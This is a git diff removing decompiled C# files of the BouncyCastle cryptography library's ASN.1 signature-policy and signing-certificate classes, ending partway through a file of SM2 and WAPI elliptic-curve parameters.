a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Esf/SignaturePolicyId.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Esf/SignaturePolicyId.cs deleted file mode 100644 index 361e1c2..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Esf/SignaturePolicyId.cs +++ /dev/null @@ -1,119 +0,0 @@ -using System; -using System.Collections; -using Org.BouncyCastle.Utilities; -using Org.BouncyCastle.Utilities.Collections; - -namespace Org.BouncyCastle.Asn1.Esf; - -public class SignaturePolicyId : Asn1Encodable -{ - private readonly DerObjectIdentifier sigPolicyIdentifier; - - private readonly OtherHashAlgAndValue sigPolicyHash; - - private readonly Asn1Sequence sigPolicyQualifiers; - - public DerObjectIdentifier SigPolicyIdentifier => sigPolicyIdentifier; - - public OtherHashAlgAndValue SigPolicyHash => sigPolicyHash; - - public static SignaturePolicyId GetInstance(object obj) - { - if (obj == null || obj is SignaturePolicyId) - { - return (SignaturePolicyId)obj; - } - if (obj is Asn1Sequence) - { - return new SignaturePolicyId((Asn1Sequence)obj); - } - throw new ArgumentException("Unknown object in 'SignaturePolicyId' factory: " + Platform.GetTypeName(obj), "obj"); - } - - private SignaturePolicyId(Asn1Sequence seq) - { - if (seq == null) - { - throw new ArgumentNullException("seq"); - } - if (seq.Count < 2 || seq.Count > 3) - { - throw new ArgumentException("Bad sequence size: " + seq.Count, "seq"); - } - sigPolicyIdentifier = (DerObjectIdentifier)seq[0].ToAsn1Object(); - sigPolicyHash = OtherHashAlgAndValue.GetInstance(seq[1].ToAsn1Object()); - if (seq.Count > 2) - { - sigPolicyQualifiers = (Asn1Sequence)seq[2].ToAsn1Object(); - } - } - - public SignaturePolicyId(DerObjectIdentifier sigPolicyIdentifier, OtherHashAlgAndValue sigPolicyHash) - : this(sigPolicyIdentifier, sigPolicyHash, (SigPolicyQualifierInfo[])null) - { - } - - public SignaturePolicyId(DerObjectIdentifier sigPolicyIdentifier, OtherHashAlgAndValue sigPolicyHash, params SigPolicyQualifierInfo[] sigPolicyQualifiers) - { - if (sigPolicyIdentifier == null) - { - throw new ArgumentNullException("sigPolicyIdentifier"); - } - if (sigPolicyHash == null) - { - throw new ArgumentNullException("sigPolicyHash"); - } - this.sigPolicyIdentifier = sigPolicyIdentifier; - this.sigPolicyHash = sigPolicyHash; - if (sigPolicyQualifiers != null) - { - this.sigPolicyQualifiers = new DerSequence(sigPolicyQualifiers); - } - } - - public SignaturePolicyId(DerObjectIdentifier sigPolicyIdentifier, OtherHashAlgAndValue sigPolicyHash, IEnumerable sigPolicyQualifiers) - { - if (sigPolicyIdentifier == null) - { - throw new ArgumentNullException("sigPolicyIdentifier"); - } - if (sigPolicyHash == null) - { - throw new ArgumentNullException("sigPolicyHash"); - } - this.sigPolicyIdentifier = sigPolicyIdentifier; - this.sigPolicyHash = sigPolicyHash; - if (sigPolicyQualifiers != null) - { - if (!CollectionUtilities.CheckElementsAreOfType(sigPolicyQualifiers, typeof(SigPolicyQualifierInfo))) - { - throw new ArgumentException("Must contain only 'SigPolicyQualifierInfo' objects", "sigPolicyQualifiers"); - } - this.sigPolicyQualifiers = new DerSequence(Asn1EncodableVector.FromEnumerable(sigPolicyQualifiers)); - } - } - - public SigPolicyQualifierInfo[] GetSigPolicyQualifiers() - { - if (sigPolicyQualifiers == null) - { - return null; - } - SigPolicyQualifierInfo[] array = new SigPolicyQualifierInfo[sigPolicyQualifiers.Count]; - for (int i = 0; i < sigPolicyQualifiers.Count; i++) - { - array[i] = SigPolicyQualifierInfo.GetInstance(sigPolicyQualifiers[i]); - } - return array; - } - - public override Asn1Object ToAsn1Object() - { - Asn1EncodableVector asn1EncodableVector = new Asn1EncodableVector(sigPolicyIdentifier, sigPolicyHash.ToAsn1Object()); - if (sigPolicyQualifiers != null) - { - asn1EncodableVector.Add(sigPolicyQualifiers.ToAsn1Object()); - } - return new DerSequence(asn1EncodableVector); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Esf/SignaturePolicyIdentifier.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Esf/SignaturePolicyIdentifier.cs deleted file mode 100644 index 9f83cd4..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Esf/SignaturePolicyIdentifier.cs +++ /dev/null @@ -1,51 +0,0 @@ -using System; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1.Esf; - -public class SignaturePolicyIdentifier : Asn1Encodable, IAsn1Choice -{ - private readonly SignaturePolicyId sigPolicy; - - public SignaturePolicyId SignaturePolicyId => sigPolicy; - - public static SignaturePolicyIdentifier GetInstance(object obj) - { - if (obj == null || obj is SignaturePolicyIdentifier) - { - return (SignaturePolicyIdentifier)obj; - } - if (obj is SignaturePolicyId) - { - return new SignaturePolicyIdentifier((SignaturePolicyId)obj); - } - if (obj is Asn1Null) - { - return new SignaturePolicyIdentifier(); - } - throw new ArgumentException("Unknown object in 'SignaturePolicyIdentifier' factory: " + Platform.GetTypeName(obj), "obj"); - } - - public SignaturePolicyIdentifier() - { - sigPolicy = null; - } - - public SignaturePolicyIdentifier(SignaturePolicyId signaturePolicyId) - { - if (signaturePolicyId == null) - { - throw new ArgumentNullException("signaturePolicyId"); - } - sigPolicy = signaturePolicyId; - } - - public override Asn1Object ToAsn1Object() - { - if (sigPolicy != null) - { - return sigPolicy.ToAsn1Object(); - } - return DerNull.Instance; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Esf/SignerAttribute.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Esf/SignerAttribute.cs deleted file mode 100644 index 2413b91..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Esf/SignerAttribute.cs +++ /dev/null @@ -1,70 +0,0 @@ -using System; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1.Esf; - -public class SignerAttribute : Asn1Encodable -{ - private Asn1Sequence claimedAttributes; - - private AttributeCertificate certifiedAttributes; - - public virtual Asn1Sequence ClaimedAttributes => claimedAttributes; - - public virtual AttributeCertificate CertifiedAttributes => certifiedAttributes; - - public static SignerAttribute GetInstance(object obj) - { - if (obj == null || obj is SignerAttribute) - { - return (SignerAttribute)obj; - } - if (obj is Asn1Sequence) - { - return new SignerAttribute(obj); - } - throw new ArgumentException("Unknown object in 'SignerAttribute' factory: " + Platform.GetTypeName(obj), "obj"); - } - - private SignerAttribute(object obj) - { - Asn1Sequence asn1Sequence = (Asn1Sequence)obj; - DerTaggedObject derTaggedObject = (DerTaggedObject)asn1Sequence[0]; - if (derTaggedObject.TagNo == 0) - { - claimedAttributes = Asn1Sequence.GetInstance(derTaggedObject, explicitly: true); - return; - } - if (derTaggedObject.TagNo == 1) - { - certifiedAttributes = AttributeCertificate.GetInstance(derTaggedObject); - return; - } - throw new ArgumentException("illegal tag.", "obj"); - } - - public SignerAttribute(Asn1Sequence claimedAttributes) - { - this.claimedAttributes = claimedAttributes; - } - - public SignerAttribute(AttributeCertificate certifiedAttributes) - { - this.certifiedAttributes = certifiedAttributes; - } - - public override Asn1Object ToAsn1Object() - { - Asn1EncodableVector asn1EncodableVector = new Asn1EncodableVector(); - if (claimedAttributes != null) - { - asn1EncodableVector.Add(new DerTaggedObject(0, claimedAttributes)); - } - else - { - asn1EncodableVector.Add(new DerTaggedObject(1, certifiedAttributes)); - } - return new DerSequence(asn1EncodableVector); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Esf/SignerLocation.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Esf/SignerLocation.cs deleted file mode 100644 index ef0287d..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Esf/SignerLocation.cs +++ /dev/null @@ -1,135 +0,0 @@ -using System; -using Org.BouncyCastle.Asn1.X500; - -namespace Org.BouncyCastle.Asn1.Esf; - -public class SignerLocation : Asn1Encodable -{ - private DirectoryString countryName; - - private DirectoryString localityName; - - private Asn1Sequence postalAddress; - - public DirectoryString Country => countryName; - - public DirectoryString Locality => localityName; - - [Obsolete("Use 'Country' property instead")] - public DerUtf8String CountryName - { - get - { - if (countryName != null) - { - return new DerUtf8String(countryName.GetString()); - } - return null; - } - } - - [Obsolete("Use 'Locality' property instead")] - public DerUtf8String LocalityName - { - get - { - if (localityName != null) - { - return new DerUtf8String(localityName.GetString()); - } - return null; - } - } - - public Asn1Sequence PostalAddress => postalAddress; - - public SignerLocation(Asn1Sequence seq) - { - foreach (Asn1TaggedObject item in seq) - { - switch (item.TagNo) - { - case 0: - countryName = DirectoryString.GetInstance(item, isExplicit: true); - break; - case 1: - localityName = DirectoryString.GetInstance(item, isExplicit: true); - break; - case 2: - { - bool explicitly = item.IsExplicit(); - postalAddress = Asn1Sequence.GetInstance(item, explicitly); - if (postalAddress != null && postalAddress.Count > 6) - { - throw new ArgumentException("postal address must contain less than 6 strings"); - } - break; - } - default: - throw new ArgumentException("illegal tag"); - } - } - } - - private SignerLocation(DirectoryString countryName, DirectoryString localityName, Asn1Sequence postalAddress) - { - if (postalAddress != null && postalAddress.Count > 6) - { - throw new ArgumentException("postal address must contain less than 6 strings"); - } - this.countryName = countryName; - this.localityName = localityName; - this.postalAddress = postalAddress; - } - - public SignerLocation(DirectoryString countryName, DirectoryString localityName, DirectoryString[] postalAddress) - : this(countryName, localityName, new DerSequence(postalAddress)) - { - } - - public SignerLocation(DerUtf8String countryName, DerUtf8String localityName, Asn1Sequence postalAddress) - : this(DirectoryString.GetInstance(countryName), DirectoryString.GetInstance(localityName), postalAddress) - { - } - - public static SignerLocation GetInstance(object obj) - { - if (obj == null || obj is SignerLocation) - { - return (SignerLocation)obj; - } - return new SignerLocation(Asn1Sequence.GetInstance(obj)); - } - - public DirectoryString[] GetPostal() - { - if (postalAddress == null) - { - return null; - } - DirectoryString[] array = new DirectoryString[postalAddress.Count]; - for (int i = 0; i != array.Length; i++) - { - array[i] = DirectoryString.GetInstance(postalAddress[i]); - } - return array; - } - - public override Asn1Object ToAsn1Object() - { - Asn1EncodableVector asn1EncodableVector = new Asn1EncodableVector(); - if (countryName != null) - { - asn1EncodableVector.Add(new DerTaggedObject(explicitly: true, 0, countryName)); - } - if (localityName != null) - { - asn1EncodableVector.Add(new DerTaggedObject(explicitly: true, 1, localityName)); - } - if (postalAddress != null) - { - asn1EncodableVector.Add(new DerTaggedObject(explicitly: true, 2, postalAddress)); - } - return new DerSequence(asn1EncodableVector); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Ess/ContentHints.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Ess/ContentHints.cs deleted file mode 100644 index 1bf1d01..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Ess/ContentHints.cs +++ /dev/null @@ -1,65 +0,0 @@ -using System; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1.Ess; - -public class ContentHints : Asn1Encodable -{ - private readonly DerUtf8String contentDescription; - - private readonly DerObjectIdentifier contentType; - - public DerObjectIdentifier ContentType => contentType; - - public DerUtf8String ContentDescription => contentDescription; - - public static ContentHints GetInstance(object o) - { - if (o == null || o is ContentHints) - { - return (ContentHints)o; - } - if (o is Asn1Sequence) - { - return new ContentHints((Asn1Sequence)o); - } - throw new ArgumentException("unknown object in 'ContentHints' factory : " + Platform.GetTypeName(o) + "."); - } - - private ContentHints(Asn1Sequence seq) - { - IAsn1Convertible asn1Convertible = seq[0]; - if (asn1Convertible.ToAsn1Object() is DerUtf8String) - { - contentDescription = DerUtf8String.GetInstance(asn1Convertible); - contentType = DerObjectIdentifier.GetInstance(seq[1]); - } - else - { - contentType = DerObjectIdentifier.GetInstance(seq[0]); - } - } - - public ContentHints(DerObjectIdentifier contentType) - { - this.contentType = contentType; - contentDescription = null; - } - - public ContentHints(DerObjectIdentifier contentType, DerUtf8String contentDescription) - { - this.contentType = contentType; - this.contentDescription = contentDescription; - } - - public override Asn1Object ToAsn1Object() - { - Asn1EncodableVector asn1EncodableVector = new Asn1EncodableVector(); - if (contentDescription != null) - { - asn1EncodableVector.Add(contentDescription); - } - asn1EncodableVector.Add(contentType); - return new DerSequence(asn1EncodableVector); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Ess/ContentIdentifier.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Ess/ContentIdentifier.cs deleted file mode 100644 index 1e38f53..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Ess/ContentIdentifier.cs +++ /dev/null @@ -1,39 +0,0 @@ -using System; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1.Ess; - -public class ContentIdentifier : Asn1Encodable -{ - private Asn1OctetString value; - - public Asn1OctetString Value => value; - - public static ContentIdentifier GetInstance(object o) - { - if (o == null || o is ContentIdentifier) - { - return (ContentIdentifier)o; - } - if (o is Asn1OctetString) - { - return new ContentIdentifier((Asn1OctetString)o); - } - throw new ArgumentException("unknown object in 'ContentIdentifier' factory : " + Platform.GetTypeName(o) + "."); - } - - public ContentIdentifier(Asn1OctetString value) - { - this.value = value; - } - - public ContentIdentifier(byte[] value) - : this(new DerOctetString(value)) - { - } - - public override Asn1Object ToAsn1Object() - { - return value; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Ess/EssCertID.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Ess/EssCertID.cs deleted file mode 100644 index 888f528..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Ess/EssCertID.cs +++ /dev/null @@ -1,66 +0,0 @@ -using System; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1.Ess; - -public class EssCertID : Asn1Encodable -{ - private Asn1OctetString certHash; - - private IssuerSerial issuerSerial; - - public IssuerSerial IssuerSerial => issuerSerial; - - public static EssCertID GetInstance(object o) - { - if (o == null || o is EssCertID) - { - return (EssCertID)o; - } - if (o is Asn1Sequence) - { - return new EssCertID((Asn1Sequence)o); - } - throw new ArgumentException("unknown object in 'EssCertID' factory : " + Platform.GetTypeName(o) + "."); - } - - public EssCertID(Asn1Sequence seq) - { - if (seq.Count < 1 || seq.Count > 2) - { - throw new ArgumentException("Bad sequence size: " + seq.Count); - } - certHash = Asn1OctetString.GetInstance(seq[0]); - if (seq.Count > 1) - { - issuerSerial = IssuerSerial.GetInstance(seq[1]); - } - } - - public EssCertID(byte[] hash) - { - certHash = new DerOctetString(hash); - } - - public EssCertID(byte[] hash, IssuerSerial issuerSerial) - { - certHash = new DerOctetString(hash); - this.issuerSerial = issuerSerial; - } - - public byte[] GetCertHash() - { - return certHash.GetOctets(); - } - - public override Asn1Object ToAsn1Object() - { - Asn1EncodableVector asn1EncodableVector = new Asn1EncodableVector(certHash); - if (issuerSerial != null) - { - asn1EncodableVector.Add(issuerSerial); - } - return new DerSequence(asn1EncodableVector); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Ess/EssCertIDv2.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Ess/EssCertIDv2.cs deleted file mode 100644 index e75f3b2..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Ess/EssCertIDv2.cs +++ /dev/null @@ -1,105 +0,0 @@ -using System; -using Org.BouncyCastle.Asn1.Nist; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1.Ess; - -public class EssCertIDv2 : Asn1Encodable -{ - private readonly AlgorithmIdentifier hashAlgorithm; - - private readonly byte[] certHash; - - private readonly IssuerSerial issuerSerial; - - private static readonly AlgorithmIdentifier DefaultAlgID = new AlgorithmIdentifier(NistObjectIdentifiers.IdSha256); - - public AlgorithmIdentifier HashAlgorithm => hashAlgorithm; - - public IssuerSerial IssuerSerial => issuerSerial; - - public static EssCertIDv2 GetInstance(object obj) - { - if (obj == null) - { - return null; - } - if (obj is EssCertIDv2 result) - { - return result; - } - return new EssCertIDv2(Asn1Sequence.GetInstance(obj)); - } - - private EssCertIDv2(Asn1Sequence seq) - { - if (seq.Count > 3) - { - throw new ArgumentException("Bad sequence size: " + seq.Count, "seq"); - } - int num = 0; - if (seq[0] is Asn1OctetString) - { - hashAlgorithm = DefaultAlgID; - } - else - { - hashAlgorithm = AlgorithmIdentifier.GetInstance(seq[num++].ToAsn1Object()); - } - certHash = Asn1OctetString.GetInstance(seq[num++].ToAsn1Object()).GetOctets(); - if (seq.Count > num) - { - issuerSerial = IssuerSerial.GetInstance(Asn1Sequence.GetInstance(seq[num].ToAsn1Object())); - } - } - - public EssCertIDv2(byte[] certHash) - : this(null, certHash, null) - { - } - - public EssCertIDv2(AlgorithmIdentifier algId, byte[] certHash) - : this(algId, certHash, null) - { - } - - public EssCertIDv2(byte[] certHash, IssuerSerial issuerSerial) - : this(null, certHash, issuerSerial) - { - } - - public EssCertIDv2(AlgorithmIdentifier algId, byte[] certHash, IssuerSerial issuerSerial) - { - if (algId == null) - { - hashAlgorithm = DefaultAlgID; - } - else - { - hashAlgorithm = algId; - } - this.certHash = certHash; - this.issuerSerial = issuerSerial; - } - - public byte[] GetCertHash() - { - return Arrays.Clone(certHash); - } - - public override Asn1Object ToAsn1Object() - { - Asn1EncodableVector asn1EncodableVector = new Asn1EncodableVector(); - if (!hashAlgorithm.Equals(DefaultAlgID)) - { - asn1EncodableVector.Add(hashAlgorithm); - } - asn1EncodableVector.Add(new DerOctetString(certHash).ToAsn1Object()); - if (issuerSerial != null) - { - asn1EncodableVector.Add(issuerSerial); - } - return new DerSequence(asn1EncodableVector); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Ess/OtherCertID.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Ess/OtherCertID.cs deleted file mode 100644 index 3308ca0..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Ess/OtherCertID.cs +++ /dev/null @@ -1,91 +0,0 @@ -using System; -using Org.BouncyCastle.Asn1.Oiw; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1.Ess; - -[Obsolete("Use version in Asn1.Esf instead")] -public class OtherCertID : Asn1Encodable -{ - private Asn1Encodable otherCertHash; - - private IssuerSerial issuerSerial; - - public AlgorithmIdentifier AlgorithmHash - { - get - { - if (otherCertHash.ToAsn1Object() is Asn1OctetString) - { - return new AlgorithmIdentifier(OiwObjectIdentifiers.IdSha1); - } - return DigestInfo.GetInstance(otherCertHash).AlgorithmID; - } - } - - public IssuerSerial IssuerSerial => issuerSerial; - - public static OtherCertID GetInstance(object o) - { - if (o == null || o is OtherCertID) - { - return (OtherCertID)o; - } - if (o is Asn1Sequence) - { - return new OtherCertID((Asn1Sequence)o); - } - throw new ArgumentException("unknown object in 'OtherCertID' factory : " + Platform.GetTypeName(o) + "."); - } - - public OtherCertID(Asn1Sequence seq) - { - if (seq.Count < 1 || seq.Count > 2) - { - throw new ArgumentException("Bad sequence size: " + seq.Count); - } - if (seq[0].ToAsn1Object() is Asn1OctetString) - { - otherCertHash = Asn1OctetString.GetInstance(seq[0]); - } - else - { - otherCertHash = DigestInfo.GetInstance(seq[0]); - } - if (seq.Count > 1) - { - issuerSerial = IssuerSerial.GetInstance(Asn1Sequence.GetInstance(seq[1])); - } - } - - public OtherCertID(AlgorithmIdentifier algId, byte[] digest) - { - otherCertHash = new DigestInfo(algId, digest); - } - - public OtherCertID(AlgorithmIdentifier algId, byte[] digest, IssuerSerial issuerSerial) - { - otherCertHash = new DigestInfo(algId, digest); - this.issuerSerial = issuerSerial; - } - - public byte[] GetCertHash() - { - if (otherCertHash.ToAsn1Object() is Asn1OctetString) - { - return ((Asn1OctetString)otherCertHash.ToAsn1Object()).GetOctets(); - } - return DigestInfo.GetInstance(otherCertHash).GetDigest(); - } - - public override Asn1Object ToAsn1Object() - { - Asn1EncodableVector asn1EncodableVector = new Asn1EncodableVector(otherCertHash); - if (issuerSerial != null) - { - asn1EncodableVector.Add(issuerSerial); - } - return new DerSequence(asn1EncodableVector); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Ess/OtherSigningCertificate.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Ess/OtherSigningCertificate.cs deleted file mode 100644 index e4d18a9..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Ess/OtherSigningCertificate.cs +++ /dev/null @@ -1,78 +0,0 @@ -using System; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1.Ess; - -[Obsolete("Use version in Asn1.Esf instead")] -public class OtherSigningCertificate : Asn1Encodable -{ - private Asn1Sequence certs; - - private Asn1Sequence policies; - - public static OtherSigningCertificate GetInstance(object o) - { - if (o == null || o is OtherSigningCertificate) - { - return (OtherSigningCertificate)o; - } - if (o is Asn1Sequence) - { - return new OtherSigningCertificate((Asn1Sequence)o); - } - throw new ArgumentException("unknown object in 'OtherSigningCertificate' factory : " + Platform.GetTypeName(o) + "."); - } - - public OtherSigningCertificate(Asn1Sequence seq) - { - if (seq.Count < 1 || seq.Count > 2) - { - throw new ArgumentException("Bad sequence size: " + seq.Count); - } - certs = Asn1Sequence.GetInstance(seq[0]); - if (seq.Count > 1) - { - policies = Asn1Sequence.GetInstance(seq[1]); - } - } - - public OtherSigningCertificate(OtherCertID otherCertID) - { - certs = new DerSequence(otherCertID); - } - - public OtherCertID[] GetCerts() - { - OtherCertID[] array = new OtherCertID[certs.Count]; - for (int i = 0; i != certs.Count; i++) - { - array[i] = OtherCertID.GetInstance(certs[i]); - } - return array; - } - - public PolicyInformation[] GetPolicies() - { - if (policies == null) - { - return null; - } - PolicyInformation[] array = new PolicyInformation[policies.Count]; - for (int i = 0; i != policies.Count; i++) - { - array[i] = PolicyInformation.GetInstance(policies[i]); - } - return array; - } - - public override Asn1Object ToAsn1Object() - { - Asn1EncodableVector asn1EncodableVector = new Asn1EncodableVector(certs); - if (policies != null) - { - asn1EncodableVector.Add(policies); - } - return new DerSequence(asn1EncodableVector); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Ess/SigningCertificate.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Ess/SigningCertificate.cs deleted file mode 100644 index 1a19818..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Ess/SigningCertificate.cs +++ /dev/null @@ -1,77 +0,0 @@ -using System; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1.Ess; - -public class SigningCertificate : Asn1Encodable -{ - private Asn1Sequence certs; - - private Asn1Sequence policies; - - public static SigningCertificate GetInstance(object o) - { - if (o == null || o is SigningCertificate) - { - return (SigningCertificate)o; - } - if (o is Asn1Sequence) - { - return new SigningCertificate((Asn1Sequence)o); - } - throw new ArgumentException("unknown object in 'SigningCertificate' factory : " + Platform.GetTypeName(o) + "."); - } - - public SigningCertificate(Asn1Sequence seq) - { - if (seq.Count < 1 || seq.Count > 2) - { - throw new ArgumentException("Bad sequence size: " + seq.Count); - } - certs = Asn1Sequence.GetInstance(seq[0]); - if (seq.Count > 1) - { - policies = Asn1Sequence.GetInstance(seq[1]); - } - } - - public SigningCertificate(EssCertID essCertID) - { - certs = new DerSequence(essCertID); - } - - public EssCertID[] GetCerts() - { - EssCertID[] array = new EssCertID[certs.Count]; - for (int i = 0; i != certs.Count; i++) - { - array[i] = EssCertID.GetInstance(certs[i]); - } - return array; - } - - public PolicyInformation[] GetPolicies() - { - if (policies == null) - { - return null; - } - PolicyInformation[] array = new PolicyInformation[policies.Count]; - for (int i = 0; i != policies.Count; i++) - { - array[i] = PolicyInformation.GetInstance(policies[i]); - } - return array; - } - - public override Asn1Object ToAsn1Object() - { - Asn1EncodableVector asn1EncodableVector = new Asn1EncodableVector(certs); - if (policies != null) - { - asn1EncodableVector.Add(policies); - } - return new DerSequence(asn1EncodableVector); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Ess/SigningCertificateV2.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Ess/SigningCertificateV2.cs deleted file mode 100644 index 5be8129..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Ess/SigningCertificateV2.cs +++ /dev/null @@ -1,91 +0,0 @@ -using System; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1.Ess; - -public class SigningCertificateV2 : Asn1Encodable -{ - private readonly Asn1Sequence certs; - - private readonly Asn1Sequence policies; - - public static SigningCertificateV2 GetInstance(object o) - { - if (o == null || o is SigningCertificateV2) - { - return (SigningCertificateV2)o; - } - if (o is Asn1Sequence) - { - return new SigningCertificateV2((Asn1Sequence)o); - } - throw new ArgumentException("unknown object in 'SigningCertificateV2' factory : " + Platform.GetTypeName(o) + "."); - } - - private SigningCertificateV2(Asn1Sequence seq) - { - if (seq.Count < 1 || seq.Count > 2) - { - throw new ArgumentException("Bad sequence size: " + seq.Count, "seq"); - } - certs = Asn1Sequence.GetInstance(seq[0].ToAsn1Object()); - if (seq.Count > 1) - { - policies = Asn1Sequence.GetInstance(seq[1].ToAsn1Object()); - } - } - - public SigningCertificateV2(EssCertIDv2 cert) - { - certs = new DerSequence(cert); - } - - public SigningCertificateV2(EssCertIDv2[] certs) - { - this.certs = new DerSequence(certs); - } - - public SigningCertificateV2(EssCertIDv2[] certs, PolicyInformation[] policies) - { - this.certs = new DerSequence(certs); - if (policies != null) - { - this.policies = new DerSequence(policies); - } - } - - public EssCertIDv2[] GetCerts() - { - EssCertIDv2[] array = new EssCertIDv2[certs.Count]; - for (int i = 0; i != certs.Count; i++) - { - array[i] = EssCertIDv2.GetInstance(certs[i]); - } - return array; - } - - public PolicyInformation[] GetPolicies() - { - if (policies == null) - { - return null; - } - PolicyInformation[] array = new PolicyInformation[policies.Count]; - for (int i = 0; i != policies.Count; i++) - { - array[i] = PolicyInformation.GetInstance(policies[i]); - } - return array; - } - - public override Asn1Object ToAsn1Object() - { - Asn1EncodableVector asn1EncodableVector = new Asn1EncodableVector(certs); - if (policies != null) - { - asn1EncodableVector.Add(policies); - } - return new DerSequence(asn1EncodableVector); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/GM/GMNamedCurves.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/GM/GMNamedCurves.cs deleted file mode 100644 index 5590492..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/GM/GMNamedCurves.cs +++ /dev/null @@ -1,119 +0,0 @@ -using System.Collections; -using Org.BouncyCastle.Asn1.X9; -using Org.BouncyCastle.Math; -using Org.BouncyCastle.Math.EC; -using Org.BouncyCastle.Utilities; -using Org.BouncyCastle.Utilities.Collections; -using Org.BouncyCastle.Utilities.Encoders; - -namespace Org.BouncyCastle.Asn1.GM; - -public sealed class GMNamedCurves -{ - internal class SM2P256V1Holder : X9ECParametersHolder - { - internal static readonly X9ECParametersHolder Instance = new SM2P256V1Holder(); - - private SM2P256V1Holder() - { - } - - protected override X9ECParameters CreateParameters() - { - BigInteger q = FromHex("FFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF00000000FFFFFFFFFFFFFFFF"); - BigInteger a = FromHex("FFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF00000000FFFFFFFFFFFFFFFC"); - BigInteger b = FromHex("28E9FA9E9D9F5E344D5A9E4BCF6509A7F39789F515AB8F92DDBCBD414D940E93"); - byte[] seed = null; - BigInteger bigInteger = FromHex("FFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFF7203DF6B21C6052B53BBF40939D54123"); - BigInteger one = BigInteger.One; - ECCurve eCCurve = ConfigureCurve(new FpCurve(q, a, b, bigInteger, one)); - X9ECPoint g = new X9ECPoint(eCCurve, Hex.Decode("0432C4AE2C1F1981195F9904466A39C9948FE30BBFF2660BE1715A4589334C74C7BC3736A2F4F6779C59BDCEE36B692153D0A9877CC62A474002DF32E52139F0A0")); - return new X9ECParameters(eCCurve, g, bigInteger, one, seed); - } - } - - internal class WapiP192V1Holder : X9ECParametersHolder - { - internal static readonly X9ECParametersHolder Instance = new WapiP192V1Holder(); - - private WapiP192V1Holder() - { - } - - protected override X9ECParameters CreateParameters() - { - BigInteger q = FromHex("BDB6F4FE3E8B1D9E0DA8C0D46F4C318CEFE4AFE3B6B8551F"); - BigInteger a = FromHex("BB8E5E8FBC115E139FE6A814FE48AAA6F0ADA1AA5DF91985"); - BigInteger b = FromHex("1854BEBDC31B21B7AEFC80AB0ECD10D5B1B3308E6DBF11C1"); - byte[] seed = null; - BigInteger bigInteger = FromHex("BDB6F4FE3E8B1D9E0DA8C0D40FC962195DFAE76F56564677"); - BigInteger one = BigInteger.One; - ECCurve eCCurve = 